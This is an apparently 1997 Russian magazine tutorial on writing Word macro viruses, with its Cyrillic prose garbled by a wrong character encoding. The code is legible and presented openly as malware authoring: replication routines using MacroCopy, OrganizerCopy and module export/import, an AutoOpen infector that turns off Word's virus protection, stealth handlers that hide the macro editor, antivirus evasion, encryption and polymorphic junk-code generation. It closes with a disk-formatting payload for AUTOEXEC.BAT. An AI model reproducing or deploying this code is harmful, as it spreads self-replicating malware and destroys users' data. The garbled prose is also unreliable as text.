оЕВПМШЫПК help:

1. нБЛТПЧЙТХУЩ ДМС Microsoft Word 6.0/7.0 (1997, ЦХТОБМ V_Zone)

оБРЙУБФШ MACRO - ЫФХЮЛХ ПЛБЪБМПУШ РТПУФП, ЛБЛ..., ОХЦОП ЧУЕЗП МЙЫШ ОЕНОПЗП ЫБТЙФШ Ч BASIC'Е Й ЪОБФШ змбчоха ЛПНБОДХ WordVirus'a -

MacroCopy Source, Destination

ЛПФПТБС ЛПРЙТХЕФ НБЛТПУ ЙЪ Source Ч Destination, ОП Ч ЧЙТХУЕ ЙУРПМШЪХЕФУС ДЧБ ЧБТЙБОФБ ЬФПК ЛПНБОДЩ:

MacroCopy FileName$()+":MacroName1","Normal:MacroName2"-ЛПРЙТХЕФ НБЛТПУ ЙЪ ЖБКМБ Ч NORMAL.DOT

MacroCopy "Normal:MacroName1",FileName$()+":MacroName2"-ЛПРЙТХЕФ НБЛТПУ ЙЪ NORMAL.DOT Ч ЖБКМ.

dlg - НБУУЙЧ Word'Б ЙУРПМШЪХЕФУС ЙН ДМС РПДДЕТЦЛЙ НБЛТПУПЧ ЧЩЪЩЧБЕНЩИ ДТХЗЙН НБЛТПУПН.

FileName$() - ЙНС ПФЛТЩФПЗП ЖБКМБ

CountMacros - ЛПМЙЮЕУФЧП НБЛТПУПЧ

MacroName$ - ЙНС НБЛТПУБ

Normal - ЙНС ЖБКМБ Ч ЛПФПТПН ИТБОСФУС НБЛТПУЩ (ТХУУЛЙК Word) ЕУМЙ ЧЩ ИПФЙФЕ ЪБТБЦБФШ БЗМЙГЛЙК Word, ЪБНЕОЙФЕ ЧЕЪДЕ Normal ОБ Global

ьФП ЧБЭЕ ДТЕВЕДЕОШ, РТПВМЕНБ ДБООПЗП MACRO - ЧЙТХУБ: ЕЗП НПЦОП МЕЗЛП ОБКФЙ Й ХОЙЮФПЦЙФШ, ЙУРПМШЪХС НЕОА уЕТЧЙУ-нБЛТПУ, ФБЛ ЧПФ ЮФПВЩ ЬФПЗП ОЕ РТПЙУИПДЙМП ЧНЕУФЕ У НБЛТПУБНЙ ЧЙТХУБ ТБУРТПУФТБОСКФЕ НБЛТПУ

macros -= ToolsMacro =-

Sub Main

End Sub

ьФП ОЕ ПЫЙВЛБ! тБУРТПУФТБОСКФЕ рхуфпк НБЛТПУ Й ЧУЕ РТПВМЕНЩ У РТПУФПФПК ВХДХФ ТЕЫЕОЩ! рТБЧДБ ЕУФШ ПДОП оп. зМХРЩК АЪЕТ ПВМПНЙФУС УП ЧУЕНЙ ПУФБМШОЩНЙ НБЛТПУБНЙ :( вПМЕЕ УМПЦОЩК, ОП Й ВПМЕЕ ЛПТТЕЛФОЩК УРПУПВ: ПВТБВБФЩЧБФШ ToolsMacro УБНПНХ.

лБЛ УДЕМБФШ ФБЛ, ЮФПВЩ DrWEB Й ЙЦЕ У ОЙН ОЕ МПЧЙМЙ ЧБЫЙ ДЕФЙЭБ? фХФ ОЕПВИПДЙНП ОЕНОПЗП ЖБОФБЪЙЙ, ОП ЧУЕ ЦЕ:

1. DrWEB ОЕ ПВТБВБФЩБЕФ, ОБРТЙНЕТ, УНЕОХ ЫТЙЖФБ.

2. уПЪДБЕФЕ НБЛТПУ УП УМХЮБКОЩН ЙНЕОЕН Й ЪБРЙУЩЧБЕФЕ ФХДБ УФТПЛХ MacroCopy ... , ... ОП РЕТЕД ЬФЙН ЪБДБЕФЕ ЫТЙЖФ ЛБЛПЗП-ОЙВХДШ ТБЪНЕТБ Й ЪБРЙУЩЧБЕФЕ УФТПЛХ, ТБУЫЙЖТПЧЩЧБС РП НБУЛЕ ЫТЙЖФБ, ЪБРХУЛБЕФЕ ЬФПФ НБЛТПУ Й ХДБМСЕФЕ ЕЗП! й ЧУЕ, ЧУЕ!

уФБТФПЧЩЕ НБЛТПУЩ НПЗХФ ВЩФШ AutoOpen, AutoClose, AutoSave.

зМПВБМШОЩЕ НБЛТПУЩ FileOpen, FileSaveAs, FileSave, FileClose.

Word.Macro.Stealth (AVP) - ЙУРПМШЪХЕФ ЬФЙ ФЕИОПМПЗЙЙ Й 2 ЗПДБ ОБЪБД ОЕ МПЧЙМУС ДБЦЕ ОБ ЧЩУЫЕН ХТПЧОЕ ЬЧТЙУФЙЛЙ.

ъДЕУШ ЧУЕ ОЕНОПЗП УМПЦОЕЕ, РПУЛПМШЛХ Microsoft, ОБХЮЕООБС ЗПТШЛЙН ПРЩФПН НБЛТП-ЧЙТХУПЧ РПД Office 95, ТЕЫЙМБ, ЮФП ОХЦОП УДЕМБФШ ЛБЛХА-ОЙЛБЛХА ЪБЭЙФХ ПФ НБЛТП-ЪЧЕТШЛПЧ (Й ОБДП РТЙЪОБФШУС, ДМС ЬФПЗП ВЩМЙ ЧУЕ ПУОПЧБОЙС :). оП, ЗМБЧОБС ПЫЙВЛБ ЛПНРШАФЕТБ ЬФП РПМШЪПЧБФЕМШ Й РПЬФПНХ Х ЪЧЕТЕК ЕУФШ ЧУЕ-ФБЛЙ ЫБОУ!

пФФБМЛЙЧБСУШ ПФ ОБРЙУБОЙС НБЛТПУПЧ ДМС Office 95, ТБУУНПФТЙН 1 УРПУПВ ОБРЙУБОЙС НБЛТП-ЧЙТХУПЧ ДМС Word 97:

ЗДЕ Source - Source:=NormalTemplate.FullName, - ПФЛЕМШ ЛПРЙТХЕН ЪБТБЦЕООЩЕ НБЛТПУЩ

Destination - Destination:=ActiveDocument.FullName, - ЛХДБ ЛПРЙТХЕН

Name - Name:="Your own macromodule name" - ЙНС НПДХМС (ОЕ ПФДЕМШОПЗП НБЛТПУБ, Б УТБЪХ ЧУЕЗП ВМПЛБ!)

Object - Object:=wdOrganizerObjectProjectItems - УПВУФЧЕООП ЮФП ЛПРЙТПЧБФШ - НБЛТПУЩ

ЬФБ ЛПНБОДБ РПЛБЪЩЧБЕФ ЛПРЙТПЧБОЙЕ ЙЪ ЪБТБЦЕООПЗП ДПЛХНЕОФБ Ч Normal.dot, РТЙ ЛПРЙТПЧБОЙЙ ЙЪ Normal.dot Ч ДПЛХНЕОФ УППФЧЕФУЧЕООП НЕОСЕН НЕУФБНЙ РХФЙ Source Й Destination

оП, УРБУЙВП Microsoft, ФЕРЕТШ ВПМШЫЕ РТПУФПТБ ДМС ЖБОФБЪЙЙ, РПЬФПНХ ЕЭЕ УРПУПВЩ:

2 УРПУПВ ОБРЙУБОЙС НБЛТП-ЧЙТЙЕЧ:

йФБЛ, ЙДЕС ЪДЕУШ ОЕУЛПМШЛП ДТХЗБС, Й МЕЦЙФ ГЕМЙЛПН ОБ УПЧЕУФЙ ТБЪТБВПФЮЙЛПЧ Word'a, УПУФПЙФ ЬФБ ЙДЕС Ч ФПН, ЮФП ЧЩ ЛПРЙТХЕФЕ ЧЕУШ НПДХМШ ОБ ДЙУЛ, Б ЪБФЕН ЙНРПТФЙТХЕФЕ ЕЗП Ч ЪБТБЦБЕНЩК ЖБКМ. чПФ ЛБЛ ЬФП ДЕМБЕФУС Ч ЧЙТХУЕ xix.Poppy ПФ VicodinES:

ActiveDocument.VBProject.VBComponents("xix").Export "c:\xix.drv"

ActiveDocument.VBProject.VBComponents.Import "c:\xix.drv"

нБМЕОШЛПЕ РТЙНЕЮБОЙЕ: "xix" - ЙНС ВМПЛБ НБЛТПУПЧ,

"c:\xix.drv" - ЙНС ЖБКМБ ДМС ЬЛУРПТФБ/ЙНРПТФБ НПДХМЕК

тБУЫЙТЕОЙЕ Х РПДПВОПЗП ТПДБ ЖБКМПЧ ПВЩЮОП .drv, .sys Й РПДПВОЩЕ УЙУФЕНОЩЕ УДЕМБОП ЬФП ДМС ФПЗП, ЮФПВЩ РТЙ РТПУНПФТЕ, ОБРТЙНЕТ ЙЪ РТПЧПДОЙЛБ, ЬФПЗП ЖБКМБ ОЕ ВЩМП ЧЙДОП.

3 УРПУПВ ОБРЙУБОЙС НБЛТП-ЧЙТЙЕЧ:

тБЪ НЩ ЪБЗПЧПТЙМЙ П import/export, ФП, НПЦОП ТБВПФБФШ ОБРТСНХА У ЖБКМПН ЙУРПМШЪХС УФБТЩЕ ДПВТЩЕ ПРЕТБФПТЩ PRINT Й LINE INPUT. чПФ ЛБЛ ЬФП ТЕБМЙЪПЧБОП Ч ЧЙТХУЕ Ethan:

уОБЮБМБ ЛПРЙТПЧБОЙЕ НПДХМС ОБ ДЙУЛ:

Open "c:\ethan.___" For Output As #1

For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)

Print #1, a

Next i

Close #1

б ЪБФЕН РЕТЕОПУ ЙЪ ЖБКМБ Ч ДПЛХНЕОФ:

ЕУМЙ Normal.dot ОЕ ЪБТБЦЕО ФП:

Set t = NormalTemplate.VBProject.VBComponents.Item(1)

ЕУМЙ ПФЛТЩЧБЕНЩЕ ДПЛХНЕОФ ОЕ ЪБТБЦЕО ФП:

Set t = ActiveDocument.VBProject.VBComponents.Item(1)

ЪБФЕН:

Open "c:\ethan.___" For Input As #1

If LOF(1) = 0 Then GoTo q

i = 1

Do While Not EOF(1)

Line Input #1, a

t.CodeModule.InsertLines i, a

i = i + 1

Loop

q:

Close #1

Sub AutoOpen()

'ЪБТБЦБЕФ РТЙ ПФЛТЩФЙК ДПЛХНЕОФПЧ

On Error Resume Next

Application.DisplayAlerts = wdAlertsNone

Options.VirusProtection = False

'чЩЛМАЮБЕФ ЪБЭЙФХ ПФ ЧЙТХУПЧ Й ЪБРХУЛ БЧФП-ЖХОЛГЙК.

rsminf: FileName$ = CurDir$ + "\" + Dir("*.doc")

'ЙЭЕН doc ЖБКМЩ Ч ФЕЛХЭЕН ЛБФБМПЗЕ

Open FileName$ For Input As #1

'ПФЛТЩЧБЕН ЖБКМ

Seek #1, 521

'ЙЭЕН Ч ОЕН УФТПЛХ

RSM$ = Input$(3, #1)

Close #1

If RSM$ = Chr$(1) + Chr$(18) + Chr$(191) Then GoTo chgdir

'ЕУМЙ ОБЫМЙ УЧПЙ ПРПЪОПЧБФЕМШОЩЕ ЪОБЛЙ, ФП НЕОСЕН ДЙТЕЛФПТЙА

Open FileName$ For Append As #1

'ОБЫМЙ ОЕ ЪБТБЦЕООЩК ДПЛХНЕОФ ПФЛТПЕН ЕЗП

Seek #1, 523

'ЙЭЕН УФТПЛХ

Print #1, Chr$(1) + Chr$(18) + Chr$(191) + Chr$(0) + Chr$(0)

'ЧРЙУЩЧБЕН Ч ОБКДЕООЩК ДПЛ НЕФЛХ ЧЙТХУБ

Close #1

'ЪБЛТЩЧБЕН ДПЛХНЕОФ

rsmdoc = ActiveDocument.FullName

Application.Documents.Open FileName

'ПФЛТЩЧБЕН ДПЛХНЕОФ

Application.OrganizerCopy Source:=rsmdoc, Destination:=FileName, Name:="RatSMagic", Object:=wdOrganizerObjectProjectItems

'ЛПРЙТХЕН НПДХМШ ЧЙТХУБ Ч ДПЛХНЕОФ

Application.Documents.Save

'УПИТБОЙН ЪБТБЦЕООЩК ДПЛХНЕОФ

ActiveDocument.Close

'ЪБЛТЩЧБЕН

chgdir: ChDir ".."

'ЙЪНЕОСЕН ДЙТЕЛФПТЙА

GoTo rsminf

'РПЙУЛ ЖБКМПЧ

ecsit:

end sub

Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule

'ч NT ИТБОЙФУС РХФШ Л НБЛТПУБН Normal.dot

Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

'ч AD ИТБОЙФУС РХФШ Л НБЛТПУБН БЛФЙЧОПЗП ДПЛХНЕОФБ

If NT.lines(1, 1) = "" Then

'еУМЙ ОЕФ ОЙЛБЛЙИ НБЛТПУПЧ Ч Normal.dot

NT.Insertlines 1, AD.lines(1, AD.countoflines)

'ЛПРЙТХЕН НБЛТПУЩ ЙЪ БЛФЙЧОПЗП ДПЛХНЕОФБ Ч Normal.dot

End If

If AD.lines(1, 1) = "" Then

'еУМЙ ОЕФ ОЙЛБЛЙИ НБЛТПУПЧ Ч БЛФЙЧОПН ДПЛХНЕОФЕ

AD.Insertlines 1, NT.lines(1, NT.countoflines)

'ЛПРЙТХЕН НБЛТПУЩ ЙЪ Normal.dot Ч БЛФЙЧОЩК ДПЛХНЕОФ

End If

лУФБФЙ, ЬФПФ УРПУПВ УБНЩК ЙДЕБМШОЩК ДМС ЫЙЖТПЧБООЩИ Й РПМЙНПТЖОЩИ ЧЙТХУПЧ, ОП ПВ ЬФПН РПЪЦЕ.

ъДЕУШ ФПЦЕ ЧУЕ БОБМПЗЙЮОП Office 95, ОП ВПМЕЕ РТПДЧЙОХФП, ФП ЕУФШ РЕТЕЛТЩФШ ОХЦОП ОЕ ФПМШЛП ToolsMacro, Б ОЕУЛПМШЛП:

дБМЕЕ РПЛБЪБОП ОБ РТЙНЕТЕ, ЛБЛ УДЕМБФШ УФЕМУ ПВТБВПФЮЙЛ ДМС Word97.

'пФЛМАЮЙФШ РТПУНПФТ ЛПДБ

Sub ViewVBCode(): Stealth: End Sub

'пФЛМАЮЙФШ РТПУНПФТ НБЛТПУПЧ

Sub ToolsMacro(): Stealth: End Sub

'пФЛМАЮЙФШ РТПУНПФТ РПДЛМАЮЕООЩИ НПДХМЕК

Sub FileTemplates(): Stealth: End Sub

Private Sub Stealth(): On Error Resume Next

'чЩТХВЙФШ РПЛБЪ тЕДБЛФПТБVB: пФЛМАЮЙФШ ЛМБЧЙЫХ Break

Application.ShowVisualBasicEditor = 0: Application.EnableCancelKey = 0

End Sub

йФБЛ, ОБ ДБООЩК НПНЕОФ ЕУФШ НОПЦЕУФЧП РПМЙНПТЖПЧ ОБ VB, ОП РПДБЧМСАЭЕЕ ВПМШЫЙОУФЧП ЙЪ ОЙИ СЧМСАФУС ОЕ УПЧУЕН РПМЙНПТЖБНЙ, ФП ЕУФШ РТЕДУФБЧМСАФ ЙЪ УЕВС ЛПОУФТХЛГЙЙ ФЙРБ:

'kj2atlk3jOIJOJ6LkjrlJlkjLjrk22

For i=1 To n

'hjkljhlkjhl324jhlkqj3h5jkqhb

MsgBox i

'jhjehodhfgjnkbkjwekjt25jkbkjbKJBKJB

Next

ч ЪБЧЙУЙНПУФЙ ПФ БМЗПТЙФНБ Й ЖБОФБЪЙЙ БЧФПТБ ЧЙТХУБ ЬФЙ УФТПЛЙ НПЗХФ УПДЕТЦБФШ Ч УЕВЕ ТБЪМЙЮОЩЕ УЙНЧПМЩ, ОП ПУОПЧОБС ЙДЕС ПУФБЕФУС ФПК ЦЕ - ЧУФБЧМСФШ НЕЦДХ УФТПЛБНЙ УФТПЛЙ РЕТЕНЕООПК ДМЙОЩ У ТБЪМЙЮОЩНЙ УЙНЧПМБНЙ. оЕДПУФБФЛЙ СУОЩ - УФПЙФ ПФУЕСФШ ЧУЕ ТЕНБТЛЙ, Й voila! чПФ ЧБЫ ЧЙТХУ. лТПНЕ ФПЗП, ВПМШЫЙОУФЧП РПМЙНПТЖПЧ НПДЙЖЙГЙТХАФ ЧЕУШ УЧПК ЛПД, ОЕ РТПЙЪЧПДС ОЙЛБЛЙИ РТПЧЕТПЛ, ЮФП ПЮЕОШ ВЩУФТП ДЕМБЕФ ЧЙТХУ РТПУФП ПЗТПНОЩН РП ТБЪНЕТХ, Й МЙВП РТЕТБЭБЕФ ЕЗП ДБМШОЕКЫЕЕ ТБУРТПУФТБОЕОЙЕ, МЙВП СУОП РПЛБЪЩЧБЕФ, ЮФП ЖБКМ РПТБЦЕО ЧЙТХУПН :(. иПФС УВЩМБУШ НЕЮФБ ЧУЕИ ЧЙТНБЛЕТПЧ, НПДЙЖЙГЙТПЧБФШ ЧЕУШ ЛПД ЧЙТХУБ, ОП ФПМЛХ РТЙОЕУМП УПЧУЕН НБМП :(. ъБЮЕН ЙЪПВТЕФБФШ ЧЕМПУЙРЕД? еУФШ НОПЦЕУФЧП ИПТПЫЙИ БМЗПТЙФНПЧ ДМС УПЪДБОЙС ЪБЭЙЭЕООЩИ ЧЙТХУПЧ. рТЙЮЕН ЬФЙ БМЗПТЙФНЩ ДБЧОП ЙУРПМШЪХАФУС ДМС УПЪДБОЙС ЧЙТХУПЧ РПД DOS Й Windows. ьФП УФБТЩЕ ДПВТЩЕ ЫЙЖТХАЭЙЕ БМЗПТЙФНЩ ТБЪМЙЮОПК УМПЦОПУФЙ. уХЭЕУФЧХЕФ НОПЦЕУФЧП УФБФЕК П УПЪДБОЙЙ ЫЙЖТПЧБООПЗП ЧЙТХУБ РПД Word, ОП ФЕН ОЕ НЕОЕЕ, С ЛПУОХУШ ЬФПК ФЕНЩ (ЛТБФЛП). ъБЫЙЖТПЧБООПЕ ФЕМП НПЦОП ИТБОЙФШ, ЛБЛ НЙОЙНХН ДЧХНС УРПУПВБНЙ:

1. уПЪДБЧБС РЕТЕНЕООХА Ч ЛПФПТПК ИТБОЙФШУС ЪБЫЙЖТПЧБООПЕ ФЕМП ЧЙТХУБ:

CryptedVirusBody="hl23kj6liuhrkljhluhilUHLIhliu"

CryptedVirusBody=CryptedVirusBody+"sdg3wW#HSDsehEh"

2. иТБОС ЪБЫЙЖТПЧБООПЕ ФЕМП ЧЙТХУБ РТСНП Ч ЙУИПДОПН ЛПДЕ:

Private Sub CryptedVirusBody()

'jl;kj2lkj;Ij)JHhh5kjhKJhKJ5huoho

'LKjlkigsohjwhj4klhLhLKhlwktioh

'JklwjijgnLnlniowngoi

End Sub

тБЪХНЕЕФУС, РТЙ ТБЪОЩИ УРПУПВБИ ИТБОЕОЙС, УХЭЕУФЧХАФ ТБЪОЩЕ УРПУПВЩ ТБУЫЙЖТПЧЛЙ, ДМС РЕТЧПЗП УРПУПВБ ЧЩ РЙЫЙФЕ ДЕЛТЙРФПТ ТБВПФБАЭЙК ОБРТСНХА У РЕТЕНЕООПК, Ч ЛПФПТПК ИТБОЙФШУС ЪБЫЙЖТПЧБООПЕ ФЕМП ЧЙТХУБ. дМС ЧФПТПЗП ЦЕ УРПУПВБ РПОБДПВЙФШУС БМЗПТЙФН ТБВПФБАЭЙК ОБРТСНХА У ЙУИПДОЩН ЛПДПН, ФП ЕУФШ ЮФП-ФП ЧТПДЕ:

c=lines(j,1)

if mid$(c,1,1)="'" then

... ТБУЫЙЖТПЧЛБ ...

ReplaceLine j, EncryptedVariable

End If

зДЕ j - ОПНЕТ УФТПЛЙ ЛПДБ.

х ПВПЙИ УРПУПВПЧ ЕУФШ УЧПЙ РТЕЙНХЭЕУФЧБ Й ОЕДПУФБФЛЙ, Х РЕТЧПЗП УРПУПВБ ЬФП ОЕПВИПДЙНПУФШ ЧЩТБВПФЛЙ БМЗПТЙФНБ ЛПФПТЩК ЧУФБЧМСЕФ ЛХДБ-ФП ТБУЫЙЖТПЧБООХА УФТПЛХ, Х ЧФПТПЗП - ОЕЛПФПТБС ЗТПНПЪДЛПУФШ ЛПДБ ДМС ТБВПФЩ У РПЙУЛПН УФТПЛ. чЩВЙТБКФЕ МАВПК. уХЭЕУФЧХАФ ЕЭЕ УРПУПВЩ ИТБОЕОЙС ЪБЫЙЖТПЧБООЩИ УФТПЛ, ОП ЬФЙ УБНЩЕ РТПУФЩЕ. чПФ, ЧЛТБФГЕ Й ЧУЕ П ЫЙЖТПЧБОЙЙ ФЕМБ ЧЙТХУБ.

фЕРЕТШ, П УБНПН ЙОФЕТЕУОПН: П РПМЙНПТЖБИ. тБУУНПФТЙН УМЕДХАЭЙК РТЙНЕТ:

For i=1 to n 'ЮБУФШ ТБУЫЙЖТПЧЭЙЛБ;

For j=1 to 12425 '-+

eyeu=12 ' |

do while eyeu<234 ' | НХУПТ;

eyeu=eyeu+43 ' |

loop ' |

next '-+

lkj=ljk+1 'ЮБУФШ ТБУЫЙЖТПЧЭЙЛБ;

jkhlk=142 '-+

if sdfg<kleh then ' |

gsdfgyeu=122 ' |

do while gsdfgyeu<253 ' |

gsdfgyeu=gsdfgyeu+23' | НХУПТ;

jhlkjh=lkwjf+nkvsv ' |

loop ' |

end if '-+

next 'ЮБУФШ ТБУЫЙЖТПЧЭЙЛБ;

лБЛ ЧЙДЙН, ЧП ЧРПМОЕ ПУНЩУМЕООПК РТПЗТБННЕ, ЛПФПТБС ЮФП-ФП ДЕМБЕФ, УХЭЕУФЧХЕФ ЮБУФШ ЛПНБОД, ЛПФПТЩЕ ПФЧЕЮБАФ ЪБ ТБУЫЙЖТПЧЛХ ФЕМБ ЧЙТХУБ... еДЙОУФЧЕООЩК ЙЪ ФБЛПЗП ТПДБ РПМЙНПТЖПЧ (ЙЪ ФЕИ ЛПФПТЩЕ С ЧЙДЕМ) ДЕМБМ РПДПВОПЕ, ОП ФПМШЛП ДПВБЧМСС "МЕЧЩЕ" РЕТЕНЕООЩЕ, РТЙЮЕН ВЕЪ ЧУСЛЙИ ПРЕТБГЙК У ОЙНЙ, ФП ЕУФШ ФПФ ЦЕ "НХУПТ" ЛПФПТЩЕ МЕЗЛП ПФУЕЙЧБЕФУС. лБЛЙН ЦЕ ПВТБЪПН ДПУФЙЗБЕФУС УПЪДБОЙЕ ФБЛПЗП ТПДБ РПМЙНПТЖОЩИ ВМПЛПЧ? дПУФБФПЮОП РТПУФП:

private sub polym(fc,m)

'ЗДЕ fc - РЕТЕНЕООБС Ч ЛПФПТХА ВХДЕФ ДПРЙУЩЧБФШ РПМЙНПТЖОЩК ВМПЛ;

'm - РЕТЕНЕООБС ПРТЕДЕМСАЭБС УФЕРЕОШ ТЕЛХТУЙЙ (ЮЕН ВПМШЫЕ УФЕРЕОШ

' ФЕН УМПЦОЕЕ РПМЙНПТЖОБС РТПЗТБННБ, ФЕН ВПМШЫЕ НЕУФБ ПОБ

' ЪБОЙНБЕФ.

select case int(rnd*6)

case 1

fc=fc+"for i=1 to 1234"

m=m+1

if m<MaxRecurs then call polym(fc,m)

fc=fc+next

case 2

case 3

Й Ф.Д.

case else

end select

end sub

ьФЙН УРПУПВПН НПЦОП ДПВБЧМСФШ мавще ВМПЛЙ РТПЗТБННЩ, С ЙУРПМШЪПЧБМ УМЕДХАЭЙЕ:

1. FOR-NEXT

2. DO WHILE-LOOP

3. DO UNTIL-LOOP

4. DO-LOOP WHILE

5. DO-LOOP UNTIL

6. IF-END IF

7. Change variables

тБЪХНЕЕФУС, ЛПОЖЙЗХТБГЙС ВМПЛПЧ ЪБЧЙУЙФ ПФ ЧБЫЕК ЖБОФБЪЙЙ, ОП НПЗХ УДЕМБФШ РПДУЛБЪЛХ: ДМС ЧУЕИ ГЙЛМПЧ НПЦОП ЙУРПМШЪПЧБФШ УМХЮБКОЩЕ ОБЮБМШОЩЕ Й ЛПОЕЮОЩЕ ЪОБЮЕОЙС, Б ФБЛЦЕ УМХЮБКОЩК ЫБЗ. дМС ВМПЛПЧ У ХУМПЧЙСНЙ ЕЭЕ ВПМШЫЕ:

ПРЕТБГЙЙ У ТБЪОЩНЙ РЕТЕНЕООЩНЙ, ЛПНВЙОБГЙЙ "<", ">", "=" Й УТБЧОЕОЙЕ У RND.

дМС ТБВПФЩ У ТБВПФЩ У РЕТЕНЕООЩНЙ УМЕДХАЭЙЕ ЧБТЙБОФЩ:

var1=random

var1=var1+var2

var1=var2+var3

var1=var2

Й Ф.Д.

private sub try()

goto loop1

loop2:

msgbox "НЕФЛБ ОПНЕТ ДЧБУ :)"

goto loop3

loop1:

msgbox "НЕФЛБ ОПНЕТ ТБЪ"

goto loop2

loop3:

end sub

юФП УДЕМБЕФ ФБЛБС РТПЗТБННБ ЛПЗДБ ЧЩ ЕЕ ЪБРХУФЙФЕ? рТБЧЙМШОП, УОБЮБМБ ОБРЕЮБФБФ РТП НЕФЛХ ОПНЕТ ТБЪ, Б РПФПН РТП НЕФЛХ ОПНЕТ ДЧБУ. оП ЧЕДШ НЕФЛБ ОПНЕТ ДЧБ Х ОБУ ЙДЕФ РЕТЧПК? лБЛ ЦЕ ФБЛ? рПОСМЙ? фБ ЦЕ УБНБС ЙДЕС Ч РПМЙНПТЖЕ, ЙНЕЕФУС ЛХЮБ РТЕНЕЫБООЩИ ЛПНБОД, ЛПФПТЩЕ РПУМЕ ЧЩРПМОЕОЙС ХИПДСФ Ч УМХЮБКОПЕ НЕУФП ЛПДБ, ЗДЕ ХЦЕ РПДЗПФПЧМЕОБ УМЕДХАЭБС ЛПНБОДБ ДМС ЧЩРПМОЕОЙС. лТПНЕ ФПЗП, ЮФПВЩ ОЕ РЕТЕЗТХЦБФШ ТБЪНЕТ РПДРТПЗТБННЩ, НЩ У ЮЙУФПК УПЧЕУФША НПЦЕН УДЕМБФШ ЧЩЪПЧ РТПГЕДХТЩ ЧНЕУФП GOTO, ТБЪХНЕЕФУС РТПГЕДХТХ ОХЦОП ЧЩЪЩЧБФШ УП ЧУЕНЙ РЕТЕНЕООЩНЙ ЙУРПМШЪХЕНЩНЙ Ч ТБУЫЙЖТПЧЭЙЛЕ, МЙВП ПВЯСЧМСФШ ЙИ ЗМПВБМШОЩНЙ, ОП ЬФП ХЦЕ НЕМПЮЙ.

фЕРЕТШ П ЧПЪНПЦОЩИ ЗМАЛБИ:

1. дМЙОБ ПДОПК УФТПЛЙ ДПМЦОБ ВЩФШ НЕОШЫЕ 1024 УЙНЧПМПЧ;

2. тБЪНЕТ ПДОПК РТПГЕДХТЩ ДПМЦЕО ВЩФШ НЕОШЫЕ 64л;

3. рЕТЕНЕООЩЕ ЙУРПМШЪХЕНЩЕ Ч ТБУЫЙЖТПЧЭЙЛЕ ДПМЦОЩ ВЩФШ ДПУФХРОЩ Ч МАВПК РПДРТПЗТБННЕ;

4. рЕТЕНЕООЩЕ ЙУРПМШЪХЕНЩЕ Ч ТБУЫЙЖТПЧЭЙЛЕ Й ЙУРПМШЪХЕНЩЕ Ч "НХУПТЕ" ОЕ ДПМЦОЩ УПЧРБДБФШ, ЙОБЮЕ ТБУЫЙЖТПЧЛБ РПКДЕФ ОЕРТБЧЙМШОП;

5. гЙЛМЩ Ч "НХУПТЕ" ОЕ ДПМЦОЩ ВЩФШ ПЮЕОШ ВПМШЫЙНЙ, ЙОБЮЕ АЪЕТ НПЦЕФ РПДХНБФШ, ЮФП ЛПНРШАФЕТ ЪБЧЙУ;

6. йНЕОБ НЕФПЛ ОЕ ДПМЦОЩ УПЧРБДБФШ У ЙНЕОБНЙ МАВЩИ РЕТЕНЕООЩИ;

7. мАВБС УФТПЛБ У ХУМПЧЙЕН ДПМЦОБ УФПСФШ ПФДЕМШОП: ОЙЛБЛЙИ lkj=24: if jkh<qfg then :jkwg=wga:

Ч РЕТЧПН ДЧПЕФПЮЙЙ РТПЙЪПКДЕФ ПЫЙВЛБ, ЧП ЧФПТПН ЙУРПМОЙФУС ЛБЛ ЛПД.

чУЕ РТЙНЕТЩ ПРЙУЩЧБЕНЩЕ ЪДЕУШ РПДТБЪХНЕЧБМЙ, ЮФП ЛБЦДБС УФТПЛБ ЙДЕФ ПФДЕМШОП, ОП ЕУФШ ЦЕ ЕЭЕ Й ДЧПЕФПЮЙС! дЕМБКФЕ УМХЮБКОЩК ЧЩВПТ НЕЦДХ УЙНЧПМБНЙ ПЛПОЮБОЙС УФТПЛЙ Chr$(13)+Chr$(10) Й ":". тБЪХНЕЕФУС, ОХЦОБ РТПЧЕТЛБ ОБ ДМЙОХ УФТПЛЙ Й РТПЧЕТЛБ ОБ "ПДЙОПЮЕУФЧП" ХУМПЧЙК. лТПНЕ ФПЗП, ДМС ХУМПЦОЕОЙС ДЕФЕЛФЙТПЧБОЙС, С ЙУРПМШЪПЧБМ ТБЪМЙЮОЩЕ ПРЕТБФПТЩ ДМС ПУОПЧОПЗП ГЙЛМБ.

йНЕОБ НБЛТПУПЧ ФБЛЙЕ ЦЕ ЛБЛ Ч Office 95, ОП ЙНЕОБ РТПЗТБНН VBA УМЕДХАЭЙЕ:

Document_Close(), Document_Open(), Document_New() Й ДТХЗЙЕ.

уМБДЛПЕ УМПЧП деуфтхлгйс! ч УБНПН ДЕМЕ, ЕУМЙ ХЦ НЩ РЙЫЕН ЧЙТХУ, РПЮЕНХ ВЩ ОЕ ПТЗБОЙЪПЧБФШ РПРБЧЫЕНХ ОБ ЧЙТХУОЩК ЛТАЮПЛ ОЕНОПЗП ЧЕУЕМПК ЦЙЪОЙ? лБЛ ЗПЧПТЙМ лБТМУПО, ЛХТПЭЕОЙЕ Й ДХТБЛБЧБМСОЙЕ :). йФБЛ, ЮФП ВЩ ФБЛПЗП УДЕМБФШ РМПИПЗП?

ьФП ЧУЕН ДБЧОП ЙЪЧЕУФОП Й РПФПНХ НБМП ЙОФЕТЕУОП: уБНЩК РТПУФПК Й УБНЩК ФХРПК УРПУПВ ЙУРПТФЙФШ ЮЕМПЧЕЛХ ЦЙЪОШ. чУЕЗП МЙЫШ ЧУФБЧШФЕ УФТПЮЛХ Ч AUTOEXEC.BAT: echo y|FORMAT c: /q >nul

йМЙ, ЕУМЙ ЧБЫЕК ДХЫЕ МЕОЙЧП ЦДБФШ, НПЦОП ОБРТСНХА:

ч РПУМЕДОЕН УМХЮБЕ УЛПТЕЕ ЧУЕЗП ВХДЕФ ПВМПН, ФБЛ ЛБЛ НБЪДБК ОЕ МАВЙФ ФБЛЙИ ЖПЛХУПЧ У ТБВПЮЙН ДЙУЛПН :(.

